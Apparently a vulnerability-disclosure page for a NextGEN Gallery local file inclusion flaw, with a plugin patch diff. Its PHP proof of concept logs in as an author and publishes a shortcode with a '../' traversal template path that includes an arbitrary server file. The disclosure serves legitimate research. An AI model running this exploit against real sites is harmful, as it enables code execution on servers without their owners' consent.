+ 'label' => __( 'Posts', 'nggallery' ),
+ ],
+ [
+ 'value' => 'page',
+ 'label' => __( 'Pages', 'nggallery' ),
+ ],
+ ];
+
+ foreach ( $filtered_post_types as $post_type ) {
+ $post_types_list[] = [
+ 'value' => esc_html( $post_type->name ),
+ 'label' => esc_html( $post_type->label ),
+ ];
+ }
+
+ return new WP_REST_Response( $post_types_list, 200 );
+ }
+}
--- a/nextgen-gallery/src/REST/ConvertGallery/ConvertGalleryTrait.php
+++ b/nextgen-gallery/src/REST/ConvertGallery/ConvertGalleryTrait.php
@@ -0,0 +1,409 @@
+<?php
+/**
+ * Convert Gallery Trait - Core conversion logic for WP Gallery to NextGEN Gallery.
+ *
+ * @package ImagelyNGGRESTConvertGallery
+ * @since 3.x
+ */
+
+namespace ImagelyNGGRESTConvertGallery;
+
+use ImagelyNGGDataMappersGallery as GalleryMapper;
+use ImagelyNGGDataMappersImage as ImageMapper;
+use ImagelyNGGDataStorageManager as StorageManager;
+use ImagelyNGGDataTypesGallery;
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
+/**
+ * Convert Gallery Trait.
+ */
+trait ConvertGalleryTrait {
+
+ /**
+ * Create an Imagely (NextGEN) Gallery using WordPress Gallery data.
+ *
+ * @param array $passed_data WP gallery passed data array.
+ * @return array Result with gallery_id or error.
+ */
+ public function create_imagely_gallery_from_wp_gallery( $passed_data ) {
+ $post_id = $passed_data['post_id'] ?? null;
+ $columns = $passed_data['columns'] ?? 3;
+ $size_slug = $passed_data['size_slug'] ?? 'thumbnail';
+ $link_target = $passed_data['link_target'] ?? '';
+ $images = $passed_data['images'] ?? [];
+ $block_content = $passed_data['block_content'] ?? '';
+
+ // Generate gallery title.
+ $date_now = wp_date( 'Y-m-d H:i:s' );
+ $gallery_title = sprintf( 'Converted-%s', $date_now );
+
+ if ( ! empty( $post_id ) ) {
+ // Save the block content to post meta using a unique meta key for backup.
+ $date_prefix = wp_date( 'Ymd_His' );
+ $meta_key = 'wp_gallery_block_bkp_' . wp_rand( 1000, 9999 ) . '_' . $date_prefix;
+ update_post_meta( $post_id, $meta_key, $block_content );
+
+ // Get the post title.
+ $post_title = get_the_title( $post_id );
+
+ if ( ! empty( $post_title ) ) {
+ // Truncate title to 15-20 characters (using mb_* functions for multibyte support).
+ $truncated_title = mb_strlen( $post_title ) > 20 ? mb_substr( $post_title, 0, 20 ) : $post_title;
+
+ // Generate a unique gallery title.
+ $gallery_title = sprintf(
+ '%s-%d-Converted-%s',
+ $truncated_title,
+ $post_id,
+ $date_now
+ );
+ }
+ }
+
+ // Create the NextGEN Gallery.
+ $gallery_mapper = GalleryMapper::get_instance();
+ $gallery = $gallery_mapper->create( [ 'title' => $gallery_title ] );
+
+ if ( ! $gallery->save() ) {
+ return [
+ 'error' => __(
+ 'There was a problem creating the gallery. Please try again.',
+ 'nggallery'
+ ),
+ ];
+ }
+
+ $gallery_id = $gallery->id();
+
+ // Import images from WordPress Media Library.
+ $storage = StorageManager::get_instance();
+ $image_mapper = ImageMapper::get_instance();
+ $image_ids = [];
+ $errors = [];
+
+ // Raise memory limit for image processing.
+ if ( function_exists( 'wp_raise_memory_limit' ) ) {
+ wp_raise_memory_limit( 'image' );
+ }
+
+ foreach ( $images as $image_data ) {
+ $attachment_id = $image_data['id'] ?? 0;
+
+ if ( empty( $attachment_id ) ) {
+ continue;
+ }
+
+ try {
+ $abspath = get_attached_file( $attachment_id );
+
+ if ( ! $abspath || ! file_exists( $abspath ) ) {
+ $errors[] = sprintf(
+ // translators: %d is the attachment ID.
+ __( 'Could not find file for attachment ID %d', 'nggallery' ),
+ $attachment_id
+ );
+ continue;
+ }
+
+ $file_data = file_get_contents( $abspath );
+
+ if ( empty( $file_data ) ) {
+ $errors[] = sprintf(
+ // translators: %d is the attachment ID.
+ __( 'Could not read file for attachment ID %d', 'nggallery' ),
+ $attachment_id
+ );
+ continue;
+ }
+
+ $file_name = ImagelyNGGDisplayI18N::mb_basename( $abspath );
+ $attachment = get_post( $attachment_id );
+ $ngg_image = $storage->upload_image( $gallery_id, $file_name, $file_data );
+
+ if ( $ngg_image ) {
+ // Import metadata from WordPress attachment.
+ $ngg_image = $image_mapper->find( $ngg_image );
+
+ // Use the alt text from the passed data, WordPress attachment, or title as fallback.
+ // Priority: 1) Provided alt text, 2) WP attachment caption, 3) WP attachment alt meta, 4) Title as last resort.
+ if ( ! empty( $image_data['alt'] ) ) {
+ $ngg_image->alttext = $image_data['alt'];
+ } elseif ( $attachment instanceof WP_Post && ! empty( $attachment->post_excerpt ) ) {
+ $ngg_image->alttext = $attachment->post_excerpt;
+ } elseif ( $attachment_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) {
+ $ngg_image->alttext = $attachment_alt;
+ } elseif ( ! empty( $image_data['title'] ) ) {
+ // Only use title as fallback if no alt text is available.
+ $ngg_image->alttext = $image_data['title'];
+ }
+
+ // Use description from WordPress attachment.
+ if ( $attachment instanceof WP_Post && ! empty( $attachment->post_content ) ) {
+ $ngg_image->description = $attachment->post_content;
+ }
+
+ // Apply filters and save.
+ $ngg_image = apply_filters( 'ngg_wp_gallery_converted_image', $ngg_image, $attachment, $image_data );
+ $image_mapper->save( $ngg_image );
+ $image_ids[] = $ngg_image->{$ngg_image->id_field};
+ } else {
+ $errors[] = sprintf(
+ // translators: %s is the filename.
+ __( 'Failed to import image: %s', 'nggallery' ),
+ $file_name
+ );
+ }
+ } catch ( RuntimeException $ex ) {
+ $errors[] = $ex->getMessage();
+ } catch ( Exception $ex ) {
+ $errors[] = sprintf(
+ // translators: %d is the attachment ID.
+ __( 'Unexpected error importing attachment ID %d', 'nggallery' ),
+ $attachment_id
+ );
+ }
+ }
+
+ // Set the first image as preview if we imported any.
+ if ( ! empty( $image_ids ) ) {
+ $gallery->previewpic = $image_ids[0];
+ $gallery_mapper->save( $gallery );
+ }
+
+ // If no images were imported, delete the gallery and return error.
+ if ( empty( $image_ids ) ) {
+ $gallery_mapper->destroy( $gallery_id );
+ return [
+ 'error' => __(
+ 'No images could be imported. The gallery was not created.',
+ 'nggallery'
+ ),
+ ];
+ }
+
+ $response_data = [
+ 'gallery_id' => $gallery_id,
+ 'title' => $gallery_title,
+ 'columns' => $columns,
+ 'image_count' => count( $image_ids ),
+ 'image_ids' => $image_ids,
+ 'errors' => $errors,
+ 'message' => __( 'Converted successfully. Don't forget to save your changes!', 'nggallery' ),
+ ];
+
+ return $response_data;
+ }
+
+ /**
+ * Process gallery shortcodes in post content.
+ *
+ * @param string $updated_content Reference to content being updated.
+ * @param int $post_id Post ID.
+ * @param bool $needs_update Reference to flag indicating if update is needed.
+ * @return WP_REST_Response|void
+ */
+ public function process_gallery_shortcodes( &$updated_content, $post_id, &$needs_update ) {
+ if ( ! has_shortcode( $updated_content, 'gallery' ) ) {
+ return;
+ }
+
+ preg_match_all( '/[gallery(.*?)]/', $updated_content, $matches, PREG_SET_ORDER );
+
+ foreach ( $matches as $shortcode ) {
+ $shortcode_string = $shortcode[0];
+ $shortcode_attrs = shortcode_parse_atts( $shortcode[1] );
+
+ // Extract gallery attributes.
+ $ids = isset( $shortcode_attrs['ids'] ) ? explode( ',', $shortcode_attrs['ids'] ) : [];
+ $include = isset( $shortcode_attrs['include'] ) ? explode( ',', $shortcode_attrs['include'] ) : [];
+ $exclude = isset( $shortcode_attrs['exclude'] ) ? explode( ',', $shortcode_attrs['exclude'] ) : [];
+ $columns = isset( $shortcode_attrs['columns'] ) ? absint( $shortcode_attrs['columns'] ) : 3;
+ $size_slug = isset( $shortcode_attrs['size'] ) ? sanitize_text_field( $shortcode_attrs['size'] ) : 'thumbnail';
+ $gallery_id = isset( $shortcode_attrs['id'] ) ? absint( $shortcode_attrs['id'] ) : 0;
+
+ // Fetch attachments for the shortcode.
+ if ( empty( $ids ) ) {
+ $query_args = [
+ 'post_type' => 'attachment',
+ 'post_status' => 'inherit',
+ 'posts_per_page' => -1,
+ 'fields' => 'ids',
+ 'post_parent' => $gallery_id ? $gallery_id : $post_id,
+ ];
+
+ if ( ! empty( $include ) ) {
+ $query_args['post__in'] = array_map( 'absint', $include );
+ }
+
+ if ( ! empty( $exclude ) ) {
+ $query_args['post__not_in'] = array_map( 'absint', $exclude );
+ }
+
+ $ids = get_posts( $query_args );
+ }
+
+ // Create gallery images array.
+ $images = [];
+ foreach ( $ids as $id ) {
+ $image_id = absint( $id );
+ $image_url = wp_get_attachment_url( $image_id );
+ $image_title = get_the_title( $image_id );
+ $image_alt = get_post_meta( $image_id, '_wp_attachment_image_alt', true );
+
+ if ( $image_url ) {
+ $images[] = [
+ 'id' => $image_id,
+ 'url' => $image_url,
+ 'title' => $image_title,
+ 'alt' => $image_alt,
+ ];
+ }
+ }
+
+ if ( ! empty( $images ) ) {
+ $passed_data = [
+ 'post_id' => $post_id,
+ 'columns' => $columns,
+ 'size_slug' => $size_slug,
+ 'link_target' => '_self',
+ 'images' => $images,
+ 'block_content' => $shortcode_string,
+ ];
+
+ $created_result = $this->create_imagely_gallery_from_wp_gallery( $passed_data );
+
+ if ( isset( $created_result['error'] ) && ! empty( $created_result['error'] ) ) {
+ return new WP_REST_Response( [ 'message' => $created_result['error'] ], 400 );
+ } else {
+ $imagely_shortcode = "[imagely id="{$created_result['gallery_id']}"]";
+ $updated_content = str_replace( $shortcode_string, $imagely_shortcode, $updated_content );
+ $needs_update = true;
+ }
+ }
+ }
+ }
+
+ /**
+ * Process gallery blocks in post content.
+ *
+ * @param array $blocks Reference to parsed blocks array.
+ * @param int $post_id Post ID.
+ * @param bool $needs_update Reference to flag indicating if update is needed.
+ * @return void
+ */
+ public function process_gallery_blocks( &$blocks, $post_id, &$needs_update ) {
+ foreach ( $blocks as &$block ) {
+ // If the block is a gallery block.
+ if ( 'core/gallery' === $block['blockName'] ) {
+ // Extract the attributes.
+ $columns = $block['attrs']['columns'] ?? 3;
+ $size_slug = $block['attrs']['sizeSlug'] ?? 'thumbnail';
+ $link_target = $block['attrs']['linkTo'] ?? '';
+ $block_content = serialize_block( $block );
+
+ $images = [];
+
+ // Check if there are inner blocks (Gutenberg gallery structure).
+ if ( isset( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
+ foreach ( $block['innerBlocks'] as $inner_block ) {
+ // If the inner block is an image block.
+ if ( 'core/image' === $inner_block['blockName'] ) {
+ $image_id = isset( $inner_block['attrs']['id'] ) ? absint( $inner_block['attrs']['id'] ) : 0;
+ if ( $image_id ) {
+ $image_url = wp_get_attachment_url( $image_id );
+ $image_title = get_the_title( $image_id );
+
+ // Use the `alt` from the HTML if not available in attributes.
+ $image_alt = '';
+ if ( ! empty( $inner_block['innerHTML'] ) ) {
+ $doc = new DOMDocument( '1.0', 'UTF-8' );
+ $previous_use_internal_errors = libxml_use_internal_errors( true );
+ // Prepend UTF-8 encoding declaration to prevent character corruption.
+ // Use @ to suppress any remaining warnings from malformed HTML.
+ $loaded = @$doc->loadHTML( '<?xml encoding="UTF-8">' . $inner_block['innerHTML'] );
+ libxml_clear_errors();
+ libxml_use_internal_errors( $previous_use_internal_errors );
+
+ if ( $loaded ) {
+ $img_tag = $doc->getElementsByTagName( 'img' )->item( 0 );
+ if ( $img_tag && $img_tag->hasAttribute( 'alt' ) ) {
+ $image_alt = $img_tag->getAttribute( 'alt' );
+ }
+ }
+ }
+
+ // Fallback: If `alt` is not in HTML, try `_wp_attachment_image_alt` meta.
+ if ( ! $image_alt ) {
+ $image_alt = get_post_meta( $image_id, '_wp_attachment_image_alt', true );
+ }
+
+ $images[] = [
+ 'id' => $image_id,
+ 'url' => $image_url,
+ 'title' => $image_title,
+ 'alt' => $image_alt,
+ ];
+ }
+ }
+ }
+ }
+
+ if ( empty( $images ) || ! is_array( $images ) ) {
+ // Recursively process inner blocks even if this gallery has no images.
+ if ( isset( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
+ $this->process_gallery_blocks( $block['innerBlocks'], $post_id, $needs_update );
+ }
+ continue;
+ }
+
+ $passed_data = [
+ 'post_id' => $post_id,
+ 'columns' => $columns,
+ 'size_slug' => $size_slug,
+ 'link_target' => $link_target,
+ 'images' => $images,
+ 'block_content' => $block_content,
+ ];
+
+ $created_result = $this->create_imagely_gallery_from_wp_gallery( $passed_data );
+
+ if ( isset( $created_result['error'] ) && ! empty( $created_result['error'] ) ) {
+ // Continue processing other blocks even if one fails.
+ continue;
+ } else {
+ // Replace the core/gallery block with imagely/main-block.
+ $block['blockName'] = 'imagely/main-block';
+ $block['attrs'] = [
+ 'content' => "[imagely id="{$created_result['gallery_id']}"]",
+ ];
+ $block['innerBlocks'] = [];
+ $block['innerHTML'] = "[imagely id="{$created_result['gallery_id']}"]";
+ $block['innerContent'] = [
+ "[imagely id="{$created_result['gallery_id']}"]",
+ ];
+
+ $needs_update = true;
+ }
+ }
+
+ // Recursively process inner blocks.
+ if ( isset( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) {
+ $this->process_gallery_blocks( $block['innerBlocks'], $post_id, $needs_update );
+ }
+ }
+ }
+
+ /**
+ * Check if the current user can edit the post.
+ *
+ * @param int $post_id Post ID.
+ * @return bool
+ */
+ public function can_edit_post( $post_id ) {
+ return current_user_can( 'edit_post', $post_id );
+ }
+}
--- a/nextgen-gallery/src/REST/Manager.php
+++ b/nextgen-gallery/src/REST/Manager.php
@@ -21,6 +21,7 @@
use ImagelyNGGRESTDataMappersNotificationsREST;
use ImagelyNGGRESTDataMappersPluginManagementREST;
use ImagelyNGGRESTDataMappersTagREST;
+use ImagelyNGGRESTConvertGalleryConvertGalleryREST;
/**
* REST API Manager
@@ -57,5 +58,8 @@
$license = new LicenseREST();
$license->register_routes();
+
+ // Register the Convert Gallery REST endpoints.
+ ConvertGalleryREST::register_routes();
}
}
--- a/nextgen-gallery/src/Widget/Gallery.php
+++ b/nextgen-gallery/src/Widget/Gallery.php
@@ -25,6 +25,10 @@
parent::__construct( 'ngg-images', __( 'NextGEN Widget', 'nggallery' ), $widget_ops );
+ // Add templates directory to legacy template locator so Widget templates can be found.
+ // The regex in LegacyTemplateLocator is case-sensitive, so View-based templates like
+ // Widget/Display/Gallery.php won't appear in the legacy template dropdown (they use
+ // uppercase naming, while legacy templates use lowercase like gallery.php).
add_filter(
'ngg_legacy_template_directories',
function ( $dirs ) {
--- a/nextgen-gallery/static/IGW/Block/build/block-imagely-block.asset.php
+++ b/nextgen-gallery/static/IGW/Block/build/block-imagely-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '0b9ef172f01dbf503737');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'ff130011153d79b68b9e');
--- a/nextgen-gallery/static/IGW/Block/build/gallery-conversion.asset.php
+++ b/nextgen-gallery/static/IGW/Block/build/gallery-conversion.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'c229660fbcd7b3093816');
--- a/nextgen-gallery/static/IGW/Block/build/post-thumbnail.asset.php
+++ b/nextgen-gallery/static/IGW/Block/build/post-thumbnail.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-hooks', 'wp-i18n'), 'version' => '972845c040931179c9a6');
+<?php return array('dependencies' => array('react', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-hooks', 'wp-i18n'), 'version' => '4f7f8e9752eeab114371');
--- a/nextgen-gallery/templates/CompactAlbum/compact.php
+++ b/nextgen-gallery/templates/CompactAlbum/compact.php
@@ -21,7 +21,7 @@
data-fullsize='" . esc_attr( $gallery->previewpic_fullsized_url ) . "'
data-thumbnail='" . esc_attr( $gallery->previewurl ) . "'
data-title='" . esc_attr( $gallery->previewpic_image->alttext ) . "'
- data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ) ) . "'
+ data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ?? '' ) ) . "'
data-image-id='" . esc_attr( $gallery->previewpic ) . "'";
} else {
$anchor = "title='" . esc_attr( $gallery->title ) . "' href='" . ImagelyNGGUtilRouter::esc_url( $gallery->pagelink ) . "'";
--- a/nextgen-gallery/templates/CompactAlbum/default-view.php
+++ b/nextgen-gallery/templates/CompactAlbum/default-view.php
@@ -21,7 +21,7 @@
data-fullsize='" . esc_attr( $gallery->previewpic_fullsized_url ) . "'
data-thumbnail='" . esc_attr( $gallery->previewurl ) . "'
data-title='" . esc_attr( $gallery->previewpic_image->alttext ) . "'
- data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ) ) . "'
+ data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ?? '' ) ) . "'
data-image-id='" . esc_attr( $gallery->previewpic ) . "'";
}
} else {
--- a/nextgen-gallery/templates/ExtendedAlbum/default-view.php
+++ b/nextgen-gallery/templates/ExtendedAlbum/default-view.php
@@ -21,7 +21,7 @@
data-fullsize='" . esc_attr( $gallery->previewpic_fullsized_url ) . "'
data-thumbnail='" . esc_attr( $gallery->previewurl ) . "'
data-title='" . esc_attr( $gallery->previewpic_image->alttext ) . "'
- data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ) ) . "'
+ data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ?? '' ) ) . "'
data-image-id='" . esc_attr( $gallery->previewpic ) . "'";
} else {
$anchor = "class='gallery_link' href='" . ImagelyNGGUtilRouter::esc_url( $gallery->pagelink ) . "'";
--- a/nextgen-gallery/templates/ExtendedAlbum/extended.php
+++ b/nextgen-gallery/templates/ExtendedAlbum/extended.php
@@ -21,7 +21,7 @@
data-fullsize='" . esc_attr( $gallery->previewpic_fullsized_url ) . "'
data-thumbnail='" . esc_attr( $gallery->previewurl ) . "'
data-title='" . esc_attr( $gallery->previewpic_image->alttext ) . "'
- data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ) ) . "'
+ data-description='" . esc_attr( stripslashes( $gallery->previewpic_image->description ?? '' ) ) . "'
data-image-id='" . esc_attr( $gallery->previewpic ) . "'";
} else {
$anchor = "class='gallery_link' href='" . ImagelyNGGUtilRouter::esc_url( $gallery->pagelink ) . "'";
--- a/nextgen-gallery/templates/GalleryDisplay/Related.php
+++ b/nextgen-gallery/templates/GalleryDisplay/Related.php
@@ -10,10 +10,10 @@
<div class="ngg-related-gallery">
<?php foreach ( $images as $image ) { ?>
<a href="<?php echo esc_attr( $image->imageURL ); ?>"
- title="<?php echo esc_attr( stripslashes( I18N::translate( $image->description, 'pic_' . $image->pid . '_description' ) ) ); ?>"
+ title="<?php echo esc_attr( stripslashes( I18N::translate( $image->description ?? '', 'pic_' . $image->pid . '_description' ) ) ); ?>"
<?php echo $image->get_thumbcode(); ?>>
- <img title="<?php echo esc_attr( stripslashes( I18N::translate( $image->alttext, 'pic_' . $image->pid . '_alttext' ) ) ); ?>"
- alt="<?php echo esc_attr( stripslashes( I18N::translate( $image->alttext, 'pic_' . $image->pid . '_alttext' ) ) ); ?>"
+ <img title="<?php echo esc_attr( stripslashes( I18N::translate( $image->alttext ?? '', 'pic_' . $image->pid . '_alttext' ) ) ); ?>"
+ alt="<?php echo esc_attr( stripslashes( I18N::translate( $image->alttext ?? '', 'pic_' . $image->pid . '_alttext' ) ) ); ?>"
data-image-id="<?php echo esc_attr( $image->{$image->id_field} ); ?>"
src="<?php echo esc_attr( $image->thumbURL ); ?>"/>
</a>
--- a/nextgen-gallery/templates/ImageBrowser/default-view.php
+++ b/nextgen-gallery/templates/ImageBrowser/default-view.php
@@ -37,7 +37,7 @@
data-thumbnail="<?php print esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php print esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php print esc_attr( $image->alttext ); ?>"
- data-description="<?php print esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php print esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
<?php print $effect_code; ?>>
<img title='<?php print esc_attr( ImagelyNGGDisplayI18N::ngg_plain_text_alt_title_attributes( $image->alttext ) ); ?>'
alt='<?php print esc_attr( ImagelyNGGDisplayI18N::ngg_plain_text_alt_title_attributes( $image->alttext ) ); ?>'
--- a/nextgen-gallery/templates/ImageBrowser/nextgen_basic_imagebrowser.php
+++ b/nextgen-gallery/templates/ImageBrowser/nextgen_basic_imagebrowser.php
@@ -37,7 +37,7 @@
data-thumbnail="<?php print esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php print esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php print esc_attr( $image->alttext ); ?>"
- data-description="<?php print esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php print esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
<?php print $effect_code; ?>>
<img title='<?php print esc_attr( ImagelyNGGDisplayI18N::ngg_plain_text_alt_title_attributes( $image->alttext ) ); ?>'
alt='<?php print esc_attr( ImagelyNGGDisplayI18N::ngg_plain_text_alt_title_attributes( $image->alttext ) ); ?>'
--- a/nextgen-gallery/templates/SinglePicture/nextgen_basic_singlepic.php
+++ b/nextgen-gallery/templates/SinglePicture/nextgen_basic_singlepic.php
@@ -59,7 +59,7 @@
data-thumbnail="<?php echo esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php echo esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php echo esc_attr( $image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
target='<?php echo esc_attr( $target ); ?>'
<?php echo $effect_code; ?>>
<img class="ngg-singlepic"
--- a/nextgen-gallery/templates/Slideshow/index.php
+++ b/nextgen-gallery/templates/Slideshow/index.php
@@ -42,7 +42,7 @@
data-thumbnail="<?php echo esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php echo esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php echo esc_attr( $image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
<?php echo $effect_code; ?>>
<img data-image-id='<?php echo esc_attr( $image->pid ); ?>'
--- a/nextgen-gallery/templates/Thumbnails/caption-view.php
+++ b/nextgen-gallery/templates/Thumbnails/caption-view.php
@@ -47,7 +47,7 @@
data-thumbnail="<?php echo esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php echo esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php echo esc_attr( $image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
data-image-slug="<?php echo esc_attr( $image->image_slug ); ?>"
<?php echo $effect_code; ?>>
<img title="<?php echo esc_attr( ImagelyNGGDisplayI18N::ngg_plain_text_alt_title_attributes( $image->alttext ) ); ?>"
--- a/nextgen-gallery/templates/Thumbnails/carousel-view.php
+++ b/nextgen-gallery/templates/Thumbnails/carousel-view.php
@@ -18,7 +18,7 @@
data-thumbnail="<?php echo esc_attr( $storage->get_image_url( $current_image, 'thumb' ) ); ?>"
data-current_image-id="<?php echo esc_attr( $current_image->{$current_image->id_field} ); ?>"
data-title="<?php echo esc_attr( $current_image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $current_image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $current_image->description ?? '' ) ); ?>"
data-current_image-slug="<?php echo esc_attr( $current_image->image_slug ); ?>"
<?php echo $effect_code; ?>>
<img title="<?php echo esc_attr( ImagelyNGGDisplayI18N::ngg_plain_text_alt_title_attributes( $current_image->alttext ) ); ?>"
--- a/nextgen-gallery/templates/Thumbnails/default-view.php
+++ b/nextgen-gallery/templates/Thumbnails/default-view.php
@@ -65,7 +65,7 @@
data-thumbnail="<?php echo esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php echo esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php echo esc_attr( $image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
data-image-slug="<?php echo esc_attr( $image->image_slug ); ?>"
<?php echo $effect_code; ?>>
<img
--- a/nextgen-gallery/templates/Thumbnails/index.php
+++ b/nextgen-gallery/templates/Thumbnails/index.php
@@ -56,7 +56,7 @@
data-thumbnail="<?php echo esc_attr( $storage->get_image_url( $image, 'thumb' ) ); ?>"
data-image-id="<?php echo esc_attr( $image->{$image->id_field} ); ?>"
data-title="<?php echo esc_attr( $image->alttext ); ?>"
- data-description="<?php echo esc_attr( stripslashes( $image->description ) ); ?>"
+ data-description="<?php echo esc_attr( stripslashes( $image->description ?? '' ) ); ?>"
data-image-slug="<?php echo esc_attr( $image->image_slug ); ?>"
<?php echo $effect_code; ?>>
<img
--- a/nextgen-gallery/templates/Widget/Display/MediaRSS.php
+++ b/nextgen-gallery/templates/Widget/Display/MediaRSS.php
@@ -16,9 +16,9 @@
<?php
echo $self->get_mrss_link(
nggMediaRss::get_mrss_url(),
- $instance['show_icon'],
- strip_tags( stripslashes( $instance['mrss_title'] ) ),
- stripslashes( $instance['mrss_text'] )
+ $instance['show_icon'] ?? false,
+ strip_tags( stripslashes( $instance['mrss_title'] ?? '' ) ),
+ stripslashes( $instance['mrss_text'] ?? '' )
);
?>
</li>
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1463 - Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery <= 4.0.4 - Authenticated (Author+) Local File Inclusion
<?php
/*
* Proof of Concept for CVE-2026-1463
* Requires valid WordPress author credentials and a nonce for AJAX requests.
* This script demonstrates the Local File Inclusion via the 'template' parameter.
* It creates a post with a malicious NextGEN Gallery shortcode.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Extract nonce from the post creation page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$post_page = curl_exec($ch);
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
die('Failed to obtain nonce. Check authentication.');
}
// Create a post with the malicious shortcode
// The template parameter uses directory traversal to include a remote or local PHP file
$post_data = [
'post_title' => 'Exploit Post',
'content' => '[nggallery id="1" template="../../../../../../tmp/poc"]', // Adjust path as needed
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'post_type' => 'post',
'post_status' => 'publish'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Check if post was created successfully
if (strpos($post_response, 'Post published.') !== false) {
echo 'Post created with malicious shortcode. Visit the post to trigger LFI.n';
} else {
echo 'Post creation may have failed.n';
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-1463?
Understanding the vulnerabilityCVE-2026-1463 is a Local File Inclusion (LFI) vulnerability in the NextGEN Gallery plugin for WordPress. It allows authenticated users with Author-level access to include and execute arbitrary PHP files on the server by manipulating the ‘template’ parameter in gallery shortcodes.
How does the vulnerability work?
